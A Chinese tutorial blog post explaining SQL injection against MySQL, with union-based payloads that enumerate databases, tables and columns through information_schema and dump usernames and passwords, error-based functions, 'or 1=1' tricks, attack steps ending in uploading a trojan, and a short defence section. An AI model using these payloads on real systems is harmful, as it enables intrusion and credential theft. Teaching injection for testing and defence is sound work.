sql注入数据库原理详解

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 作者主页:https://www.couragesteak.com/

1 介绍

SQL注入漏洞主要是由于,在请求的时候没有做严格的过滤,导致传入的语句被当做SQL语句被执行,从而导致数据库受损(被脱库、删除、甚至数据付权限沦陷)

2 一般步骤

  1. SQL注入点探测
    判断什么地方存在SQL注入点,通常在表单文章查询等与数据库有关操作的页面。
  2. 收集后台数据库信息
    不同的数据库的注入方法、函数各不相同,因此注入前要判断数据库的类型。
    如:
    特殊字符、单引号:让数据库返回错误
    函数:
    version()函数:MSQL专用

    1 and version()>0
    AI 代码解读
  3. 猜测用户名和密码
    表名、字段名、字段数、用户名和密码。
  4. 查找 Web 后台管理入口
    可以使用 目录扫描工具
  5. 入侵and破坏
    登录后台:上传木马、篡改网页、窃取信息。
    进一步提权:入侵Web服务器和数据库服务器。

3 注入

测试数据

+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
| 9787115496003 | 虚拟化技术应用与实践                |
| 9787302510109 | 算法设计与分析(第4版)             |
| 9787503442490 | 心灵密码                          |
| 9787503421884 | 雪狼                             |
| 9787539635835 | 龙头老太                          |
+---------------+----------------------------------+
AI 代码解读

3 函数

3.1 常用的系统函数

函数 作用
version() MySQL版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_complie_os 操作系统版本

3.2 字符串连接函数

三大法宝:concat(),group_concat(),concat_ws()

3.2.1 concat() 函数

特点:concat(str1,str2,...)
返回结果为连接参数产生的字符串,如果任何一个参数为NULL,则返回值为NULL,可以有一个或多个参数。

1. 不使用字符连接函数:

select isbn,title from books limit 1;
AI 代码解读
+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
+---------------+----------------------------------+
AI 代码解读

2.使用示例
一般我们都要用一个字符将各个项隔开,便于数据的查看

select concat(isbn,',',title) from books limit 1;
AI 代码解读
+------------------------------------------------+
| concat(isbn,',',title)                         |
+------------------------------------------------+
| 9787302458210,SQL Server 从入门到精通(第2版)    |
+------------------------------------------------+
AI 代码解读

3.2.2 concat_ws() 函数

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
特点:CONCAT_WS(separator,str1,str2,…)
使用示例
在这里插入图片描述

3.2.3 group_concat() 函数

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;
AI 代码解读

就不演示了,sql语句如同上面

4 注入

4.1 联合查询 union 注入

使用联合查询进行的前提是我们进行注入的页面必须有显示位。

1、使用union
payload:

v' union select username from member where id=1#%
AI 代码解读

select 必须有相同的列,且各列的数据也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。
联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

select bid,author from books union select username from users;
AI 代码解读

在这里插入图片描述
2、 payload:a' order by 4#%

select bid,author from books order by 4#%;
AI 代码解读

在这里插入图片描述

select bid,author from books order by 2#%;
AI 代码解读

在这里插入图片描述
3、得到主查询由三个字段后,我们用union来做一个sql拼接。
pauload

a' union selec database(),user(),version()#%
AI 代码解读
select bid,author,title from books union selec database(),user(),version();
AI 代码解读

这里没有测试通过

4.2 information_schema 注入

information_schema数据库是MySQL5.0系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

select group_concat(schema_name) from information_schema.schemata;
AI 代码解读

实际注入测试

5.2.1 获取所有数据库

类型:id=/wd=/name=

-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata
AI 代码解读

在这里插入图片描述

4.2.2 获取指定数据库的表

payload

a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
AI 代码解读
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';
AI 代码解读

在这里插入图片描述

4.2.3 获取指定表的字段名

payload

a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
AI 代码解读
select bid,author,title from books  union select table_name,column_name,3 from information_schema.columns where table_name='users';
AI 代码解读

在这里插入图片描述

4.2.4 获取字段值得内容

payload

 a' union select username ,password,3 from users#%
AI 代码解读
select bid,author,title from books union select username,password,3 from users;
AI 代码解读

在这里插入图片描述

4.3 基于报错信息注入

此方法是在页面没有显示位,但是 echomysql_error() 函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error() 输出了错误信息时使用。常见的select/insert/update/delete 注入都可以使用报错方式来获取信息。

4.3.1 三个常用报错函数

updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor(): MYSQL中用来取整的函数.


### 4.4 数字注入 ```css or 1=1 ``` ### 4.5 搜索注入 在搜索框搜索的时候,成为搜索型。 数字型与字符型注入最大区别:数字型不需要单引号闭合,而字符串类型需要单引号闭合。 ```css %xxx% or 1=1 #%' ``` ## 5 sql注入防御 1. 对输入进行严格的转义和过滤 2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! 参考文章: https://zhuanlan.zhihu.com/p/258032596 https://www.cnblogs.com/lcamry/p/5715634.html
相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
打赏
0
0
0
0
185
分享
相关文章
MySQL原理简介—1.SQL的执行流程
本文介绍了MySQL驱动、数据库连接池及SQL执行流程的关键组件和作用。主要内容包括:MySQL驱动用于建立Java系统与数据库的网络连接;数据库连接池提高多线程并发访问效率;MySQL中的连接池维护多个数据库连接并进行权限验证;网络连接由线程处理,监听请求并读取数据;SQL接口负责执行SQL语句;查询解析器将SQL语句解析为可执行逻辑;查询优化器选择最优查询路径;存储引擎接口负责实际的数据操作;执行器根据优化后的执行计划调用存储引擎接口完成SQL语句的执行。整个流程确保了高效、安全地处理SQL请求。
127 75
ASP.NET连接SQL数据库:详细步骤与最佳实践指南ali01n.xinmi1009fan.com
随着Web开发技术的不断进步,ASP.NET已成为一种非常流行的Web应用程序开发框架。在ASP.NET项目中,我们经常需要与数据库进行交互,特别是SQL数据库。本文将详细介绍如何在ASP.NET项目中连接SQL数据库,并提供最佳实践指南以确保开发过程的稳定性和效率。一、准备工作在开始之前,请确保您
377 3
【SQL技术】不同数据库引擎 SQL 优化方案剖析
不同数据库系统(MySQL、PostgreSQL、Doris、Hive)的SQL优化策略。存储引擎特点、SQL执行流程及常见操作(如条件查询、排序、聚合函数)的优化方法。针对各数据库,索引使用、分区裁剪、谓词下推等技术,并提供了具体的SQL示例。通用的SQL调优技巧,如避免使用`COUNT(DISTINCT)`、减少小文件问题、慎重使用`SELECT *`等。通过合理选择和应用这些优化策略,可以显著提升数据库查询性能和系统稳定性。
57 9
MySQL原理简介—10.SQL语句和执行计划
本文介绍了MySQL执行计划的相关概念及其优化方法。首先解释了什么是执行计划,它是SQL语句在查询时如何检索、筛选和排序数据的过程。接着详细描述了执行计划中常见的访问类型,如const、ref、range、index和all等,并分析了它们的性能特点。文中还探讨了多表关联查询的原理及优化策略,包括驱动表和被驱动表的选择。此外,文章讨论了全表扫描和索引的成本计算方法,以及MySQL如何通过成本估算选择最优执行计划。最后,介绍了explain命令的各个参数含义,帮助理解查询优化器的工作机制。通过这些内容,读者可以更好地理解和优化SQL查询性能。
【潜意识Java】MyBatis中的动态SQL灵活、高效的数据库查询以及深度总结
本文详细介绍了MyBatis中的动态SQL功能,涵盖其背景、应用场景及实现方式。
89 6
使用访问指导(SQL Access Advisor)优化数据库业务负载
本文介绍了Oracle的SQL访问指导(SQL Access Advisor)的应用场景及其使用方法。访问指导通过分析给定的工作负载,提供索引、物化视图和分区等方面的优化建议,帮助DBA提升数据库性能。具体步骤包括创建访问指导任务、创建工作负载、连接工作负载至访问指导、设置任务参数、运行访问指导、查看和应用优化建议。访问指导不仅针对单条SQL语句,还能综合考虑多条SQL语句的优化效果,为DBA提供全面的决策支持。
95 11
MySQL导入.sql文件后数据库乱码问题
本文分析了导入.sql文件后数据库备注出现乱码的原因,包括字符集不匹配、备注内容编码问题及MySQL版本或配置问题,并提供了详细的解决步骤,如检查和统一字符集设置、修改客户端连接方式、检查MySQL配置等,确保导入过程顺利。
SQL Servers审核提高数据库安全性
SQL Server审核是一种追踪和审查SQL Server上所有活动的机制,旨在检测潜在威胁和漏洞,监控服务器设置的更改。审核日志记录安全问题和数据泄露的详细信息,帮助管理员追踪数据库中的特定活动,确保数据安全和合规性。SQL Server审核分为服务器级和数据库级,涵盖登录、配置变更和数据操作等事件。审核工具如EventLog Analyzer提供实时监控和即时告警,帮助快速响应安全事件。
MySQL进阶突击系列(01)一条简单SQL搞懂MySQL架构原理 | 含实用命令参数集
本文从MySQL的架构原理出发,详细介绍其SQL查询的全过程,涵盖客户端发起SQL查询、服务端SQL接口、解析器、优化器、存储引擎及日志数据等内容。同时提供了MySQL常用的管理命令参数集,帮助读者深入了解MySQL的技术细节和优化方法。
南大通用GBase 8s 数据库 RHAC集群基本原理和搭建步骤
南大通用GBase 8s 数据库 RHAC集群基本原理和搭建步骤

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等